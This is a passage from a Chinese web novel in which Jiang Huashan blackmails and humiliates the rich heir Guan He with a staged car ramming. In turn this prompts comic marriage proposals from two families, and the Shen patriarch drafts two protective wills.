关鹤顿时炸毛,像看傻子一样看着她,“凭什么我去?我也不缺钱。” 姜花衫,“你是不缺,但你别忘了,我手上还有你的把柄,你要是不去,我现在就回去告诉你爸,你背地里做的那些好事。” 关鹤咬牙,怎么想都不甘心,“一千万要少爷去杀人?草!不可能!” 姜花衫皱眉,“谁让你杀人了?我让你假撞!你们鬼火帮不是最喜欢玩极限挑战的吗?最大马力冲过去,吓一吓她。” 关鹤气笑了,抬着胳膊蹭了蹭周宴珩,“她讽刺我们。” 周宴珩,“名字不错,你不是一直都想学沈家搞个暗堂吗?就叫鬼火帮。” “草!”关鹤气的脸部扭曲,这他妈可是他的人生机密,狗东西就这么水灵灵爆出来了?还是在沈家人面前? 姜花衫,“你去不去?” 关鹤憋着一口气,“我不去。” 姜花衫点头,“行,那就鱼死网破。”说罢推着轮椅就要走。 关鹤眼皮一跳,想也没想抬脚卡住滚轮,“怎么就鱼死网破了?姜花衫,你讲不讲理啊?” 姜花衫充耳不闻,按住按钮,滚轮直接从他锃亮的皮鞋上压了过去。 “……”关鹤气得半死,但偏偏被掐住命门又无可奈何,“行!我去!我去还不行。姜花衫你给我等着。” 说罢,转头看向周宴珩。 周宴珩从口袋里掏出钥匙,眼神却落在姜花衫身上。 姜花衫皱眉,“怎么?用车也有条件?” 周宴珩想了想,顺手抛给关鹤,“用车没有。” “……”乔金锦眼神怪异看着两人。 姜花衫白了周宴珩一眼,对着关鹤凶巴巴,“还不去?要是让她们跑了,你别想好过。” “……”关鹤攥紧车钥匙,差点没把牙咬碎,转身进了电梯。 等人一走,姜花衫立马调头,对着过道喊了一声,“郑松。” 没一会儿,郑松领着一群保镖走进小厅,“姜小姐。” 姜花衫拉着苏妙,“我们走。” “是。” 郑松不着痕迹扫了一眼周宴珩和乔金锦,推着姜花衫出了小厅。 “她到底想干什么?”乔金锦回头看向窗外,马路对面关鹤已经上了车。 艳阳如光影浮动落在窗前,周宴珩转身面向落地窗,深邃的眼底投下一片阴翳。 * 酒店前。 方眉还在想着方才与姜花衫的谈话,不知道为什么,她忽然有种心神不宁的感觉。 姜晚意的状况也很糟糕,刚刚在酒店里面经历的一切对她来说简直就是地狱般的灾难。 这也是她第一次直面感受到,原来这个世界,蝼蚁和天骄之间的距离就是天堑。 方眉逐渐不安,“怎么回事?怎么一辆车都没有?” 姜晚意四处看了看,这才发现酒店门口摆放着禁止出租车出入的标识。 “妈,这里好像不能停车。” 能来这里的客人非富即贵,根本没有坐计程车的需求,对权利者来说是不成文的规矩,但对她们不是。 方眉万分恼火,不觉又恨上了姜花衫。 姜晚意唯恐方眉绷不住,小心翼翼,“妈,我们去对面打车吧?” 方眉深吸一口气,刚迈出第一步。 “轰——” 只听见震耳欲聋的气浪声突然在耳边乍起—— 没等两人反应过来,对面的黑色跑车如黑蟒惊动,猛地向她们扑了过来。 速度太快,以至于根本来不及反应。 “叽——” 刺耳的胎噪声拉响警报,黑车在距离两人十公分不到的距离停了下来。 “啊啊啊啊!!!” 方眉和姜晚意被这突如其来的死亡威胁吓的惊出了一身冷汗,腿脚发软瘫倒在地。 酒店门童听见声响,立马跑出迎宾台,待看见黑车上的标识脸色微变,转头躲回了酒店。 封闭的车窗玻璃慢慢下移,关鹤斜靠着车门探着半个头,眼神暴虐,“叫什么叫?!好狗不挡道,杵在这一动不动是想要死吗?” 方眉和姜晚意瑟瑟发抖,原本吓青的脸在看见关鹤后血色全无。 是关家少爷?! 果然,关家还是不愿意放过她们? “我们这就走。” 姜晚意赶紧爬起身,一边哆嗦着双腿一边搀扶方眉。 关鹤眯眼,一想到姜花衫突然气不打一处来,眼看两人就要站起来又起了作弄的心思。 “滴——滴——” 他故意不耐烦疯狂按喇叭。 原本两人就是强装镇定,被喇叭声惊吓又栽了回去。 关鹤嚣张至极,“怎么还不走?想装死讹本少爷?” 姜晚意红着眼,眼神麻木看着不断哆嗦的双手,她们刚刚明明已经站起来了,关鹤却故意按喇叭吓唬她们,显然是不允许她们站着。 她有些无措,转头看向方眉。 方眉比她豁的出去,咬着牙手脚并用不断往后退。 这跪拜之姿毫无自尊可言。 “意意,你还愣着做什么?快让开啊?” 姜晚意死死咬着下唇,一番天人交战后她弯下了腰,正要挪动膝盖时…… “滴——” 身后响起一声更嚣张的喇叭音。 姜晚意愣了愣,猛地抬头看去。 只见一台低调的黑色保姆车突然出现在马路边。 “滴——” 保姆车又按了一声喇叭。 没等三人反应过来。 “砰——” 一声巨响! 保姆车对着天价跑车拦腰撞了上去。 …… 第452章 你全责 “砰——砰——” 保姆车如同斗兽场里的斗牛直接掀翻了黑蛇,这么近距离的对撞,天价跑车直接被撞出三米远又撞上路面的电杆,二次连击,漂亮的流线车门顷刻间报废。 而始作俑者却纹丝不动。 “!” “草!” 落地窗前的两人占领了绝佳视角,一帧不落目睹了车祸的全部过程。 乔金锦倒吸了一口凉气,难以置信看向周宴珩,“这哪来的小疯子?” 周宴珩古井无波的眼底慢慢荡开涟漪,这一手还真是出乎意料,反转的漂亮。 “可惜了。” 乔金锦皱眉,“可惜什么?” 他嘴角幽幽扯出一抹笑意,“早知道她玩的这一手,就不谈条件了。” 要是撞了他,他可没关鹤那么好说话。 乔金锦揉了揉太阳穴,头疼,车里那个还不知道是死是活,眼前这个又开始犯病了。 * “啊啊啊啊!!!” 黑色跑车摩擦着路面直冒火星。 饶是方眉心理素质再强也承受不住这样的惊吓,双手抱头趴在路面惊声尖叫。 姜晚意也没好到哪里去,虽然没有喊,但身体已经完全不受控制软成了一滩烂泥。 “草!” 关鹤被安全气囊震得差点晕过去,缓了半天才跌跌撞撞从车里爬了出来。 没等他恍过神,郑松从保姆车里走了下来。 关鹤见状,气的全身骨头都硬了,顾不上世界旋转,哪怕脚底打滑也要冲上去拼命。 “刚刚是你撞我的?” 郑松侧头看向身后。 这时,后座的车窗慢慢下移,一张惊为天人的漂亮脸蛋探出头来。 “关鹤,打狗也要看主人,既然你这么不把我放在眼里,那就别怪我不客气了。郑松,给关少爷好好松松皮。” “?” 关鹤一脸懵逼,缓过神后差点没气晕过去。 “姜花衫!你敢耍……” 没等他说完,郑松一把捂住关鹤的嘴,将人拖进了酒店前的绿化带。 “啊啊啊啊!!!草!” “姜花衫你给我!!!啊啊啊啊 !” “轻点!呜呜呜!!!” 绿化带后的惨叫声一声比一声凄凉,只过了一会儿就没了动静。 方眉和姜晚意吓的头皮发麻,不……不会是死了吧? 片刻后,郑松从绿化带后走了出来,凶神恶煞推门上车。 姜晚意茫然无措,怔怔看着姜花衫。 这次,姜花衫没有回避她的目光,面无表情看着她。 姜晚意没由来地心头发麻,她忽然后知后觉,从那年她怂恿姜花衫把傅绥尔从楼梯上推下来后,她看她的眼神就变了。 在那之前,不管她说什么姜花衫都信,她要什么姜花衫都给。 玻璃缓缓上移,一点点隔绝了两人对视的目光。 车辆重新启动,堂而皇之抛下肇事现场和惊吓过度的两人。 * 车里。 苏妙弱小无助死死拽着胸前的安全带,眼神不受控制地往姜花衫身上瞟。 要不是她亲眼目睹,实在很难相信,刚刚那一脚油门是她踩的。 “怎么了?”姜花衫转过头,目光与苏妙对上,安抚道,“放心吧,这辆车改装过,以目前的车身重量就算把关鹤撞飞我们也不会有事的。” “……”苏妙不语,默默看着她的脚。 姜花衫配合抬了抬腿,“这半个月一直在复检,所以恢复的特别快。” 苏妙嘴角抽搐,“那你还坐轮椅。” 姜花衫皱眉,“我不想动,有毛病吗?” 苏妙扶额,“没毛病。” * 下午。 鲸和医院外科医生全员出动,VIP住院楼又意提一位活祖宗。 关鹤头上缠着一圈绷带,脖子戴着颈托,一只脚打着石膏半吊在空中。 “草草草!!姜花衫在哪?老子要弄死她!!!” 乔金锦随手拿起病历本看了一眼,“你冷静点!医生说你现在有轻微脑震荡,不宜情绪起伏过大。” 关鹤瞬间炸毛,“这叫我怎么冷静?姜花衫那个狗瘪,竟然敢设坑埋我?这仇不报,老子他妈都不配姓关!” 周宴珩坐在沙发上看手机,指尖随意点了点,一脸风轻云淡,“账单发你了。” “什么账单?”关鹤戴着颈托不好转头,眼神斜睨看着他。 周宴珩,“那辆车返厂要修一年才修的好,我觉得太麻烦了,所以定了台新车。” “草!”关鹤气得两眼一黑,“你他妈还是不是我兄弟?!这个时候还有心情看车?” 说完,梗着脖子往床边扒拉。 乔金锦一脸无奈,顺手拿起手机丢进他的怀里。 关鹤行动不便,像个老年人眯眼盯着屏幕。 片刻后,又没忍住破口大骂,“草!1.2个亿?!你他么怎么不去抢?” 周宴珩,“全球限量一台。” 关鹤没好气,“没钱,你找姜花衫要,车是她撞的。” 周宴珩,“那恐怕不行,下午沈家的律师已经联系相关部门介入调查,你全责。” 关鹤只觉天都塌了,瞪大了眼睛,“凭什么我全责,她撞的我?!沈家这是要上天了吗?” 乔金锦,“别嗷了。交警叔叔都说了,你逆行,属于违法乱停,她直行符合道路交规,所以是你的全责。判罚书一出来,你爸就签了字。” 关鹤,“……” 神他妈的符合道路交规,这已经不是他熟知的世界了,这个世界疯了! 正绝望,房门被人从外面推开,关楼面无表情走了进来。 关鹤脸色微变,赶紧把手机藏进枕头,“爸。” 关楼先看了他一眼,又转向周宴珩和乔金锦,两人立马会意。 周宴珩起身,温文尔雅,“关伯伯,我和阿锦先回去了。” 关楼神态和煦,“替我向家里问好。” 两人礼貌点头,一前一后出了病房。 待人走后,关楼脸上的笑容消退,转身落座沙发,双手交叉落在膝盖,“说吧,到底怎么回事?” 关鹤眼神警觉,别看他刚刚骂的上头,但事态权重他还是拎得清的。 要是他现在交代自己被姜花衫暗算,以老头子的性格一定会去沈家要个说法。 到时候万一惹怒了那狗瘪,她一定会狗急跳墙把他开赌场的事全抖落出来,到时候不仅他完了,就连关家也完了。 念此,关鹤轻咳了一声,“我就是看那两母女不舒服,想吓一吓她们,谁知道那小疯子竟然发那么大的火。” 关楼皱眉,“她差点杀了你,这件事你怎么看?” 关鹤深怕关楼动手会惹毛姜花衫,昧着良心解释,“哪有这么严重,我这不是好好的吗?这事您就别管了,人交警叔叔不是也说了吗?我、全、责!” 关楼眼底掠过一丝浮光。 那丫头差点要了他的命,连这都不计较? 看来是喜欢的连命都不要了。 关楼心里有了主意,站起身,“行了,你的意思爸爸知道了,等消息吧。” …… 第453章 说亲 翌日,阳光明媚,锦鲤在莲叶下嬉戏,沈园一派岁月静好。 沈执穿过回廊,远远瞧见菊园院门敞开,加快了脚步往前赶,刚走进院子便看见沈娇站在廊架下逗乌龟。 他愣了愣,换上笑脸上前,“幺小姐,您也在啊?” 沈娇抬眸看了沈执一眼,“沈叔,这么早?” 在沈园,只有沈娇会这么客气称呼沈执,沈执点头应道,“关家来人了,老爷子请姜小姐去主厅叙话。” “什么?关家还真找上门来了?” 傅绥尔第一个从内厅冲了出来,气势汹汹,“他们也好意思来?我倒要看看是谁这么不要脸?” “……”沈执清咳了一声,往主厅看去,“绥尔小姐,姜小姐呢?” “我在这呢。”姜花衫推着轮椅从一楼的画室里走了出来。 沈执:“姜小姐,关议员长来了,他指名要见您,老爷子请您过去说说话。” “知道了。”姜花衫淡定地不像话。 关楼就关鹤一个儿子,又是老来得子,平时把他看的比自己的命还重。 昨日她差点把关家小祖宗送上天,关家找上门也是情理之中。 不过,她既然敢做就不怕关家找上门,她手里还握着关鹤的把柄,谅关家也不敢拿她怎么样? “等等。”沈娇从花架下走了出来,“我跟你们一起去。” 傅绥尔二话不说上前推轮椅,“我也去。” 沈执没有置喙的权利,低着头让出一条路。 姜花衫淡淡扫沈执一眼,笑着出了菊园。 “沈叔,关家那位都跟老爷子说了什么?” 沈执摇头,“没说什么特别的,就说想见见姜小姐。” 沈娇和沈执在前面说话,姜花衫拉了拉傅绥尔的手,“是你把女王请过来的?” 原本她还在奇怪,好端端的,沈娇怎么大清早就过来了,敢情是猜到关家会找上门,特意在菊园等着。 傅绥尔往前看了一眼,压低声音,“我把那女人威胁你的事都告诉女王了,她一晚上没睡,就等着今天。” 姜花衫愣了愣,“你怎么知道的?” 昨天她回到菊园很早就睡下了,方眉的事还没来得及跟傅绥尔分享。 “苏妙告诉我的。” 傅绥尔眼里透着杀气。 “那个坏女人,从小就对你不好,现在竟然还有脸说出这种话!你放心,爷爷和妈妈绝对不会坐视不理的,从前大家都是看在你的份上才对她多加忍让,既然她不领情,我们不会让她好过的。” 姜花衫心头微暖,过了一会儿才反应过来,“我们?” 傅绥尔点头,“还有枝枝,她说方眉莫名其妙跟你说这些话很奇怪,她先去查清楚方眉的底细,免得你被算计。” 姜花衫笑了笑,抬头看着眼前的路。 一腔孤勇虽好,但有人陪伴似乎也不赖。 到了主厅,沈庄和关楼正在叙话,没有想象中的剑拔弩张,两人聊起棋道,各抒己见,气氛和谐的不像话。 “爸,关先生。” 沈娇率先进厅,进退有度朝两人打招呼。 沈庄点头,关楼也结束了话题,含笑回应。 没一会儿,傅绥尔推着姜花衫进屋。 “爷爷,关伯伯。” 沈庄朝两人招手,“行了,在自己家里不用拘束,快过来坐。” 傅绥尔推着姜花衫紧挨着沈庄,自己则抬头挺胸,像个忠心的护卫守在轮椅后。 沈庄看了她一眼,想说什么又忍了回去。 沈娇优雅入座,面带微笑,故作不经意解释,“我刚才在菊园恰巧碰见沈管家来传话,说关先生要见衫衫,正好,我没什么事,就来凑凑热闹,关先生不介意吧?” 沈庄佯装一无所知,低头喝茶。 关楼,“不介意,早听说沈小姐和衫衫情同母女,既是母女,孩子的事做母亲的应该能作主?” 沈娇抬起下巴,“自然,我的女儿,就算天塌下来,也有我顶着。关先生今天特意来一趟想必是为了阿鹤吧?衫衫不懂事,有什么你跟我谈。” 女王还真是给人十足的安全感,姜花衫嘴角不觉扬起一丝笑意。 关楼思忖片刻,斟酌开口,“既然都看出我是为了阿鹤而来,那我就开门见山了。” “昨日花园大街的那场车祸想必两位都有所耳闻,这事我也已经问过阿赫了,来龙去脉也弄清楚了,诸位都知道,我关某人老来得子就阿赫一个孩子,定然是看不惯他受委屈的。” 姜花衫立马收敛心神打量关楼,上来就强调关鹤的重要性,看来这老头是不打算轻易罢休了。 关鹤那怂包一定不敢交代实情,肯定是动了什么歪门心思糊弄关楼。 沈娇淡淡笑了笑,眼底带着不遑多让的势气,“关先生说这么多我听不懂,不如再直白些。” 关楼看了姜花衫一眼,站起身,“老爷子,沈小姐,阿鹤已经把他和衫衫之间的事给我交代清楚了。” 姜花衫微怔,有些意外看向关楼。 不会吧?关鹤那怂货竟然交代了自己私开赌场的事? 那…关楼岂不是知道了,她不仅威胁关鹤,把他当猴耍? 沈庄留意到了姜花衫动作有些许僵硬,慢条斯理放下水杯,抬眸正视关楼,语气淡淡:“关先生今日亲自特意登门,到底欲意为何?” 关楼深吸一口气,“我今天来就是想替我儿子……” 姜花衫微微眯眼。 傅绥尔死死攥着轮椅。 沈娇漫不经心摸着领口的玉石项链。 关楼不紧不慢,“向沈家提亲。” 三人同时一愣,险些一头栽倒。 “……” 相比之下,沈庄沉稳得多,只是怔愣片刻立马恢复如常,“提亲?” 关楼点头,神情诚恳,“阿鹤什么性子我最是清楚,既然孩子喜欢,我这个当父亲的自当成全。” 傅绥尔有点懵,“喜欢?关鹤喜欢谁?” 姜花衫眼皮跳了跳,突然有种不好的预感。 果然,下一秒,关楼如沐春风看了过来。 “衫衫,车祸那么大的事,阿鹤连命都快没有了,还惦记着不准我来沈家寻麻烦,我这老东西算是看出来了,那小子也就对你没办法,就你能治他。” 姜花衫嘴角抽搐,“关老伯,您要不再问问关鹤?” “我问过了,我今天登门正是阿鹤的意思。放心!我虽然年纪大,但也不是老古董,阿鹤的脾气被我惯坏了,现在有人能治他我高兴还来不及。” 说着又转头看向沈庄,“衫衫这孩子,我看着也喜欢,我们关家也没有什么门第之见,以后衫衫进了关家,既是我关家长媳也是我关家的女儿,老爷子您就放一万个心吧。” 是这么说吧? 关楼有些局促搓了搓指尖,第一次给儿子说亲,比上台演讲还紧张。 “……” …… 第454章 好歹毒的计谋 大厅顿时鸦雀无声。 提亲?! 沈娇刚调动起来的八方战力一下泄回了原位,嘴角扯动了半天也不知是该气还是该笑。 沈庄皱眉,露出鲜有的嫌弃。 姜花衫攥紧拳头。 好你个关鹤,没想到狗脑还能想出这么歹毒的计谋。他这是想把她娶进关家,关起门来杀。 还真是小看这狗东西了。 察觉到气氛不对,关楼立马补充,“当然,我也知道衫衫年纪还小,现在谈婚论嫁早了些,所以,我想着咱们可以先定亲,让两个孩子多熟悉熟悉,等衫衫学业结束再结婚也不迟,老爷子您觉得呢?” “我……” 沈娇正要开口,沈庄直接拦在前面,不容置喙,“我不同意。” 虽然姜花衫早预料到了这样的结果,但当沈庄如此斩钉截铁说出不同意时,她的心还是不受控制地被触动了。 “您不同意?为什么?” 关楼不解看着沈庄,姜花衫只是沈家养女,这个身份做关家长媳已经算是不可多得的良缘了,诚如他所说,关家并不看重门第,否则也不会只因为关鹤喜欢,关楼就直接上门提亲。 沈庄看不上关鹤,但顾及两家体面只能违心解释,“衫衫的性格和阿鹤并不相配,不是良缘。” “怎么就不相配了?”关楼不免有些替儿子不平,“是,阿鹤的性子是跋扈了点,他不该去羞辱衫衫的生母,可他也是为衫衫出头啊。那孩子自私自利了一辈子,什么时候替别人着想过?也就这么一回。” 姜花衫:“……呵呵” 沈庄脸色不好,“行了,这件事不用说了,我家小花儿年纪还小,我还打算藏在身边多养几年。” 关楼这才反应过来,老爷子是舍不得,也是,现在鲸港城里都传遍了,沈家这养女是老爷子的眼睛珠子,他一上来就讨要人家的珍宝也难怪老爷子动气。 思量片刻,关楼缓和了语气,“老爷子说的对,是我莽撞了,孩子们还小,再等几年也行。” 计划扑空,关楼也没了心思闲聊,寒暄了几句便起身请辞。 沈庄懒得应付,直接吩咐沈执送客。 两人一前一后楼刚出沈园,便看见姚礼从车上走了下来。 五年前,姚老三竞选总统失败进了监狱,姚家一落千丈,幸得又抱上了沈家的大腿,这些年隐隐有复起的迹象。 姚礼远远看见关楼还以为看错了人,前段时间关家才因为军制改革案和沈家斗的你死我活,怎么转头就握手言和了? 两人迎面碰上自然免不了寒暄,如今关家权高,姚礼主动开口,“关先生,这是要走了?” 关楼因为没替儿子说成亲有些郁卒,脸上虽没有显露半分,但行动已经透着不耐,点了点头就算打过招呼,目不斜视直接越过姚礼。 姚礼并未在意,毕竟敢在国会跟沈谦拍桌的人也绝非等闲之辈。 “沈管家,老爷子可得空?” 沈执点头,领着姚礼进园,两人刚转过照壁就看见傅绥尔推着姜花衫从主厅走了出来。 一出一进两个方向,女孩们并没有注意有客人来访。 傅绥尔一脸晦气,“关鹤是不是有毛病?竟然狗胆包天敢打你的主意,幸好爷爷英明神武,不然真要被他气死。” 姜花衫面无表情一声不吭。 说话的功夫,傅绥尔推着姜花衫进了内院。 * 鲸和医院。 “姜花衫,你给老子等着瞧,老子不会放过你的!” “又发什么疯?” 乔金锦和周宴珩推开房门就看见关鹤眼冒金星,拿着输液针对着手里橙子猛扎。 关鹤戴着颈托不便转头,冷冷道:“闭嘴!没看出老子在施法?” 乔金锦皱眉,一把抢过他手里的橙子,待看见上面写着姜花杉三个字时眼皮跳了跳。 “关鹤,你脑子能不能正常点?你一个大男人还搞宫斗?” 周宴珩走近看了一眼,“是衫,不是杉,名字写错,诅咒是会反弹的。” “草!真的假的?” 乔金锦顺手把橙子扔了回去,关鹤接过仔细察看,顿然脸色黑如锅灰。 还真写错了,那他刚刚戳了一个小时算什么? “可恶!自从碰上那狗瘪就没遇上过好事!不行,我不能就这么受她的威胁,不然以后就别想有好日子过。” 乔金锦捏了捏眉心,“你就消停消停吧,你这脑震荡的脑子一想准是馊主意?” “……”关鹤充耳不闻,咔咔转移脖子看着周宴珩,“阿珩,我们是不是兄弟?” 周宴珩挑了挑眉。 关鹤,“是兄弟,你就帮我出口气。” “怎么出?” “弄、死、她!” 周宴珩想了想,嘴角扯出一抹笑意,正要说话房门再次被人推开。 关楼一脸严肃走了进来,见周宴珩和乔金锦都在,立马又缓和了脸色,“阿珩、阿锦你们什么时候来的?” “刚刚。” 关鹤抢着回答,忽然想到什么,皱眉打量关楼,“老头儿,你不是去沈家了吗?怎么这副模样?沈家人给你难堪了?” 关楼正犹豫要不要说,转眼看见儿子手里捧着个橙子,上面竟然还写着姜花衫的名字。 说不上什么心情,关楼心情忽然变得沉重,终于下定了某种决定。 “阿鹤,你放心,爸爸就算豁出这条命不要,也一定替你争回这口气。” 关楼顿时来了精神,举着手里的橙子,“爸,我想要……” “行了!你不用说了!”关楼重重拍了拍关楼的肩膀,“知子莫若父。” 放心,爸爸一定会用百分百的诚意打动沈家的。 * 沈园。 姜花衫突然从床上惊醒,不寒而栗打了个冷颤。 “……” …… 第 455章 又来一个癞蛤蟆 “什么啊?!!爸?你刚刚说什么?!!你说关家去沈家干嘛去了?你说清楚!” 姚礼闭了闭眼,一脸嫌弃看着面前的蠢东西,“又发什么病?!” 这两年臭小子不知道招了什么邪祟东西?整天无所事事,还喜欢忽然傻笑,病了两年,后来发现不影响吃喝他也就没在意了。 怎么今天病情突然加重了? “啊啊啊啊!”姚淄磊感觉天都要塌了,拦腰抱住姚礼,“爸!你说清楚啊!关家到底是去给谁提亲了?” 姚礼眼皮跳了跳,捂着耳朵,“我刚刚不是说的很清楚了,关家要和打你那丫头结亲了。” “不行!我不接受!”姚淄磊突然激动起来。 姚礼不想跟个病人计较,忍着脾气,“你不接受?你算什么?沈家和关家的事哪有你插嘴的份?” “爸!你不能让姜花衫跟关鹤好啊,她要是跟关鹤好,你儿子这辈子可就完了。” 什么玩意儿?! 姚礼一头雾水,“他们俩订婚你怎么就完了?” 忽然想到什么,姚礼神情严肃,眼里蓄着山雨欲来的暴动,“姚淄磊,你老实交代,是不是动了什么不该有的心思?” 姚淄磊眼神微微闪烁,迟疑了一瞬,立马坚定点头,“是。” “畜生!” 姚礼顿时勃然大怒,“难怪你这两年一直神经兮兮,问你又说不出个所以然,你……你……” 一时没忍住,姚礼抬脚对着姚淄磊的肩膀狠狠踹去,“我打死你个混账东西!我告诉你,我不接受!死都不接受!” 姚淄磊怔愣,起身抱住姚礼,“爸,我是真心的!求你成全我吧!我发誓,只要你成全我,以后我一定乖乖听你的话,你叫我做什么我就做什么!” “滚!” 姚母刚从美容院做完指甲回来,原本还喜滋滋,没想到进门就看见两父子打起来了,脸色大变,哭着撞开姚礼,“好端端的你打儿子做什么?姓姚的,你欺负我儿子,我跟你拼命!” 又来一个拎不清的,姚礼头疼地厉害,抱着头推开姚母,“行了,你瞎掺和什么?” 姚淄磊一看救星来了,转头抱住姚母的腿,“妈,爸不帮我,你一定要帮我。” 姚母赶紧蹲下身拉儿子,“帮帮帮,儿子,你要什么跟妈说,妈一定帮你。” “你帮?”姚礼冷笑了一声,“你问问这小畜生他想要什么?简直岂有此理!” 以关鹤那性子,傻儿子跟他在一起,一定是个0,以后他还怎么在鲸港抬头做人? 姚母瞪了姚礼一眼,心疼扶起姚淄磊,“别管他,儿子,你想要什么?跟妈说。” 姚淄磊,“妈,我想要姜花衫。” 姚礼顿时瞪大了眼睛,“你说谁?” 姚母捂着耳朵,“你吼谁呢?没听见你儿子说吗?姜……姜……” 姚淄磊脸红羞怯,有些不好意思,“妈,她叫姜花衫。” “哦~”姚母皱着眉点了点头,“这名字怎么听着有些耳熟,是谁家的女儿啊?” 姚淄磊,“是沈家的,就是差点把我打残废那个。” “……啊?”姚母愣了愣,抬手摸了摸姚淄磊的额头,“儿子,你是不是脑子被打坏了?” “不是!”姚淄磊一把甩开姚母的手,“妈,我是认真的,我没开玩笑。” 忽然想到什么,他眼睛发亮,“爸,妈,你们等等,我有东西可以证明,等着啊。” 说着,转身跑上了楼上的卧房。 姚母回味过来,转头与姚礼对视,“你就是因为这个打儿子?” 姚礼脸色有些尴尬。 他都已经怀疑自己儿子同性恋了,硬是没敢往沈家姑娘身上想,这到底是谁的问题? 为免妻子看笑话,姚礼只得硬着头皮犟嘴,“他喜欢谁不好,偏偏喜欢个差点勒死他的,你说贱不贱?” “……”姚母不满,“话也不是这么说。” 想了一会儿实在不知道话该怎么说,姚母又赶紧找补,“自己生的,咱们做父母的不担待谁担待?” “爸!妈!” 姚淄磊抱着一盒比他人还大的箱子屁颠屁颠跑下楼,因为太心急还险些被绊倒。 “小心点。”姚母上前搀扶,“这什么东西?” 姚淄磊一把揭开盒盖,里面满满当当堆满了粉色的信纸,每封信纸上都画了一颗硕大的爱心,信封署名清一色的tO dear Shan. 姚母眼皮跳了跳,这字?这画,有些辣眼睛是怎么回事? 姚礼,“行了,赶紧收起来,丢人现眼。” 姚淄磊不乐意了,“怎么丢人了?这可是我花了两年时间一笔一划写出来的,原本打算她十八生日那天送给她的,没想到竟然被关鹤捷足先登了!可恶!爸,妈,你们可一定要帮我。” 姚母看着那一箱死亡芭比粉陷入了沉思。 “妈,你怎么不说话,你刚刚不是还说一定会帮我吗?” 姚母扶额,扶着沙发慢慢坐下,“儿子,你让妈缓缓。” 姚淄磊顿然警铃大作,扑上前抱着姚母的腿,“不能缓啊,关家现在已经行动了,我们要是再缓人可就没有了。” “可是……”姚母有些拿不定主意,她这儿子做事向来没定性,两年为一个女生写情书,实在是有些超出她的认知。 这还没怎么样,儿子的魂就没有了,万一真娶进门,只怕她地位不保? 姚淄磊,“妈,你就帮帮我吧,你们不是想要我转学科吗?只要你帮我,我都听你们的安排。” 姚母心中五味杂陈,摸了摸姚淄磊的头,“真这么喜欢?” “嗯。从她骂我的第一句,我就感觉她和别人不一样。” “……” 冤孽啊!姚母轻叹一声,转头看向姚礼,“老姚,咱们就这么一个儿子,你真能狠下心?关楼都能拉下脸,你难道还不如他?” 姚礼,“……” …… 第456章 两份遗嘱 下午,姚礼携重礼再次拜访沈园。 上午才来了一趟,下午又急着登门,不知情的沈庄还以为姚家出了什么急事,特意安排在沁园花厅碰面。 谁料,姚礼开口就是讨要他的小花儿,气的沈庄差点连最喜欢的官盏都摔了出去。 一个两个什么垃圾玩意儿,也不撒泡尿照照镜子,癞蛤蟆想吃天鹅肉,竟敢肖想他的小花儿? 沈庄忍着脾气,以姜花衫年纪太小,体面拒绝了蛤蟆二号。 姚礼原本还想再争取,但沈庄不愿再谈,直接让沈执送客。 姚礼也不是傻子,沈庄这么强硬拒绝他不像是应了关家,更像是舍不得。 过犹不及的道理他还是懂,最后客套了几句留下礼物便出了沈园。 晚间,沈庄思忖良久后,吩咐沈执去请沈娇来沁园叙话。 今天两家登门求娶让他突然意识到一个问题,小花儿长大了。 花儿娇艳,自会惹来无端觊觎。既然是他把这朵小花儿从淮城迁到了鲸港的,那么他必要护着小花儿无虞。 * 沈娇步入花厅时,老爷子正盯着庭前的牡丹看得出神,她在厅中站了好一会儿都没有察觉。 “爸,想什么呢?” 沈娇主动开口,沈庄这才回神,若无其事指着对面的玫瑰椅,“坐。” “您找我?” 沈庄点头,斟酌片刻,简单讲述了下午姚礼登门求娶的经过。 “这事儿你怎么看?” 沈娇皱眉,“姚家那颗歪瓜裂枣也敢打衫衫的主意?若我没记错,衫衫和姚家那小子积怨颇深,只怕求娶是假,另有目的才是真。这几年姚家因为乌兹铜矿起势迅猛,只怕他们是看中了您偏爱衫衫,想借着衫衫拉进与沈家的关系。” 这一点也正是沈庄所担心的。 如今人人因为他想摘下小花儿,若有天他不在了,小花儿没有了利用价值,以权谋者的薄幸,小花儿的下场必定凄凉。 他决不能允许这样的事发生。 见沈庄不语,沈娇又继续说道,“爸,您是不是担心您百年之后,无人做衫衫的依靠?” 沈庄点头,“我今天叫你来,是有事要交代。” 沈娇微愣,“您说。” 沈庄将提前准备好的两封文件递给她,“这个,爸爸想交给你保管,你愿意吗?” 沈娇看着文件上的密封条,略有怔忡,“这是……” 沈庄,“遗嘱。” 这些年,沈娇的付出他看在眼里,尤其绥尔出事那次,沈娇并未迁怒姜花衫更让沈庄相信,她会公平公正对待两个孩子。 沈娇顿时脑子嗡了一下,眼底满是震惊,“爸!” 沈庄抬手制止,“不用紧张,我身体很好,不过是未雨绸缪。” 像他们这样的家族,立遗嘱并非是什么稀奇的事。 沈庄早在二十年前就已经立下了一份秘密遗嘱交由专业信托机构保管,这件事沈家人都知道。 沈娇之所以惊讶,是因为老爷子竟然又立了两份遗嘱,还指名要她保管,这要是让沈家其他人知道了,只怕又是一场血雨腥风。 但她很快反应过来,神情复杂,“您这两份遗嘱是给衫衫的?” 沈庄颔首,“一份是婚书,若是哪天我不在了,沈家有人以家族利益为名要求小花儿联姻,你将婚书拿出来,让兰晞娶小花儿为妻。三书六聘,一样都不能少。” “!” 兰晞?! 沈娇哑然,一时反应不及,喃喃道,“若是兰晞不愿意呢?” “那你便告诉他,这是爷爷临死前最后的心愿,他若不应,便也由他。” 沈娇压住心中的惊涛骇浪,“那另一封呢?” 沈庄眼底闪过一抹笑意,“是族谱。我已经将小花儿的名字添进了沈氏一族,不过不在沈家,是单开一族。若是小花儿以后遇上了喜欢的人,以沈家女送她出嫁,她的嫁妆都在里面。” “这两封遗嘱相互牵制,若一封生效,另一封则会失去法律效力。我将它们托付给你,以后小花的未来就交给你了。” 沈娇眼眶微红,“爸……” 沈庄轻轻拍了拍她的手,“别怪爸爸偏心,小花儿的处境和绥尔、枝枝不同,她是个好孩子,爸爸的决定不会错的。” 沈娇心绪复杂,点头应道,“我知道,您放心吧,我早已经把衫衫当成亲生女儿了,说句大逆不道的,哪怕您真不在了,她还有我呢。” 闻言,沈庄心中宽慰不少。 如此,他总算能松一口气了。 从他知晓姜花衫是为他而来,他每日都在想,那孩子到底想为他做什么? 直到后来年年生辰她都会说,爷爷,我要您长命百岁。 沈庄恍惚就明白了,他大概是没有活到一百岁,或者没有活到她长大。 她提防方眉、生疏姜晚意,挑衅傅家、激怒关家、又和所有沈家人作对,大概是在那之后没有人再对她好了。 